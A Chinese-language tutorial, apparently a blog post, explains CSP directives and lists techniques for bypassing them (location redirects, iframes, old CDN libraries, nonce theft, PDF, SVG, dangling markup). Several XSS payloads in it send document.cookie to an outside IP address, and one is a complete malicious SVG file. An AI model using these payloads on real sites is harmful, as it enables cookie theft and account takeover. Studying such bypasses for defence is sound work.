详细了解CSP绕过

CSP绕过

CSP(Content Security Policy)即内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。 CSP的实质就是白名单机制,对网站加载或执行的资源进行安全策略的控制。

指令示例说明
default-src‘self’ cdn.example.com定义资源默认加载策略
script-src‘self’ js.example.com定义 JS 的加载策略
img-src‘self’ img.example.com定义图片的加载策略
style-src‘self’ css.example.com定义样式表的加载策略
font-srcfont.example.com定义字体的加载策略、
object-src‘self’定义引用资源的加载策略,如 等
media-srcmedia.example.com定义音频和视频的加载策略,如 HTML5 中的
connect-src‘self’定义 Ajax、WebSocket 等的加载策略
frame-src‘self’定义 frame 的加载策略,不赞成使用,改用 child-src
详细的source list:
源值示例说明
*img-src *通配符,允许除 data: blob: filesystem: 协议之外的任意 URL
‘none’object-src ‘none’不允许加载任何资源
‘self’script-src ‘self’允许加载同域(即同域名、同协议、同端口)下的资源
data:img-src ‘self’ data:允许通过data协议加载资源如 data:image/jpeg; base64,base64_encode_data
domain.example.comimg-src domain.example.com允许加载指定域名下的资源
*.example.comimg-src *.example.com允许加载 example.com 下所有子域名的资源
‘unsafe-inline’script-src ‘unsafe-inline’允许执行内联资源,如样式属性、事件、script 标签
‘unsafe-eval’script-src ‘unsafe-eval’允许不安全的动态代码执行,如 JS 中的 eval() 函数
https://cdn.comimg-src https://cdn.com只允许给定域名下的通过 HTTPS 连接的资源
https:img-src https:只允许通过 HTTPS 连接的资源
default-src

default-src作为所有其他指令的备用,一般来说default-src 'none'; script-src 'self'这样的情况就会是script-src遵循 self,其他的都会使用 none。也就是说,除了被设置的指令以外,其余指令都会被设置为default-src指令所设置的属性。

script-src

script-src指令限制了所有js脚本可以被执行的地方,包括通过链接方式加载的脚本url以及所有内联脚本,甚至包括各种方式的引用。其中还有一个很重要的参数叫'unsafe-inline',如果加上这个参数,就不会阻止内联脚本,但这被认为是不安全的。

对于这个属性有个特殊的配置叫unsafe-eval,它会允许下面几个函数:

eval() Function() setTimeout() with an initial argument which is not callable.setInterval() with an initial argument which is not callable.

location绕过

大部分情况,csp不会限制跳转,CSP如果限制跳转会影响很多的网站功能;或者是script-src 'unsafe-inline';这条规则。 这个地方可以用location跳转:location.href(window.location/window.open)绕过

127.0.0.1/csp/?cl4y=<script>location.href='http://118.25.14.40:8200/cookie/'%2bescape(document.cookie);</script>

利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外

  2. csp为script-src 'unsafe-inline';

iframe绕过

如果有以下两个页面:

<!--safe.php-->
<?php
    if (!isset($_COOKIE['cl4y'])) {
        setcookie('cl4y',md5(rand(0,1000)));
    }
        header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
    if (isset($_GET['cl4y'])) {
        echo "Your GET content:".@$_GET['cl4y'];
    }//
?>
</body>
​
<!--index.php-->
<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
<h2>CSP</h2>
<?php
    if (isset($_GET['cl4y'])) {
        echo "Your GET content:".@$_GET['cl4y'];
    }//
?>
</body>

safe.php做了csp防护,而index.php没有:

这里可以在index页面新建iframe用javascript直接操作safe页面的dom:

<!--xss代码,要注意url编码-->
<script>
var iframe = document.createElement('iframe');
iframe.src="./safe.php";
document.body.appendChild(iframe);
setTimeout(()=>location.href='http://118.25.14.40:8200/cookie/'+escape(document.cookie),1000);
</script>

利用条件:

  1. 一个同源站点内存在两个页面,一个页面存在CSP保护,另一个页面没有CSP保护且存在XSS漏洞

CDN绕过

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险 案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP,如下

<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>
//sssss" -->

大概讲一下:因为原来waf对注释完全可信,所以构造一个<!-- foo="bar--> <script>alert(1)</script>" -->,所以只要闭合注释内容,就可以让后面的完全可控,再加上Client-Side Template Injection中的手法,绕过csp。

这个是存在低版本angular js的cdn服务商列表 除了低版本angular js的模板注入,还有许多库可以绕过CSP 下面引用文章 如果用了Jquery-mobile库,且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp

<div data-role=popup id='<script>alert(1)</script>'></div>

还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库

利用条件:

  1. CDN服务商存在某些低版本的js库

  2. 此CDN服务商在CSP白名单中

站点可控静态资源绕过

给一个绕过codimd的(实例)codimd xss 案例中codimd的CSP中使用了google-analyticsanalytics中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

同理,若其他站点下提供了可控静态资源的功能,且CSP中允许了此站点,则可以采用此方式绕过

利用条件:

  1. 站点存在可控静态资源

  2. 站点在CSP白名单中

Base-uri绕过

当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用<base>标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径: default-src 'self'; script-src 'nonce-test'

不完整script标签绕过nonce

考虑下下列场景,如果存在这样场景,该怎么绕过CSP

<?php
    if (!isset($_COOKIE['cl4y'])) {
        setcookie('cl4y',md5(rand(0,1000)));
    }
        header("Content-Security-Policy: default-src 'self'; script-src 'nonce-secret'");
?>
<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
    if (isset($_GET['cl4y'])) {
        echo "Your GET content:".@$_GET['cl4y'];
    }//
?>
<script nonce='secret'>
    //do some thing
</script>
</body>

如果我们输入127.0.0.1/csp/safe.php?cl4y=<script src=data:text/plain,location.href='http://118.25.14.40:8200/?cookie'+escape(document.cookie);即可xss 这是因为当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第五行的<script会变成一个属性,值为空,之后的nonce='secret'会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scripr-src

利用条件:

  1. 可控点在合法script标签上方,且其中没有其他标签

  2. XSS页面的CSP script-src只采用了nonce方式

object-src绕过(PDFXSS)

假如只有这一个页面,我们能有办法执行JS吗

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<?php echo $_GET['xss']?>

在CSP标准里面,有一个属性是object-src,它限制的是<embed> <object> <applet>标签的src,也就是插件的src 于是我们可以通过插件来执行Javascript代码,插件的js代码并不受script-src的约束 pdf-xss为例 PDF文件中允许执行javascript脚本,chrome的一次更新中突然允许加载pdf的javascript脚本

<embed width="100%" height="100%" src="//vps_ip/123.pdf"></embed>

当然pdf的xss并不是为所欲为,比如pdf-xss并不能获取页面cookie,但是可以弹窗,url跳转等 具体可以看看这篇文章恶意代码--pdf文件格式解析与恶意攻击脚本分享_java pdf文件攻击脚本-CSDN博客 里面有上面实例用的恶意pdf文件

当然,上面的例子并没有设置default-src,所以我们可以用外域的pdf文件,如果设置了default-src,我们必须找到一个pdf的上传点,(当然能上传的话直接访问这个pdf就能xss了2333),然后再用标签引用同域的pdf文件

利用条件:

  1. 没有设置object-src,或者object-src没有设置为'none'

  2. pdf用的是chrome的默认解析器

SVG绕过

SVG 是使用 XML 来描述二维图形和绘图程序的语言,且SVG标准中也定义了script标签的存在,所以如果页面中存在上传功能,并且没有过滤svg,那么可以通过上传恶意svg图像来xss。

当一个网站允许用户上传SVG文件并在网页上展示时,如果未对上传的SVG文件进行严格的过滤和验证,攻击者可以上传包含恶意脚本的SVG文件。当用户访问文件的时候,就会触发XSS

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>location.href='http://118.25.14.40:8200/?cookie'+escape(document.cookie);</script>
</svg>

不完整的资源标签获取资源

看看下面的例子,我们如何把flag给带出来

<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;">
<?php echo $_GET['xss']?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>

这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见 虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出

exp: http://127.0.0.1/2.php?xss=<img src="//VPS_IP?a= 此时,由于src的引号没有闭合,html解析器会去一直寻找第二个引号,引号其中的大部分标签都不会被解析,所以在第四行的第一个引号前的所有内容,都会被当成src的值被发送到我们的vps上 需要注意的是,chrome下这个exp并不会成功,因为chrome不允许发出的url中含有回车或<,否者不会发出

利用条件:

  1. 代码中有执行代码的前提,并且

  • 53
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值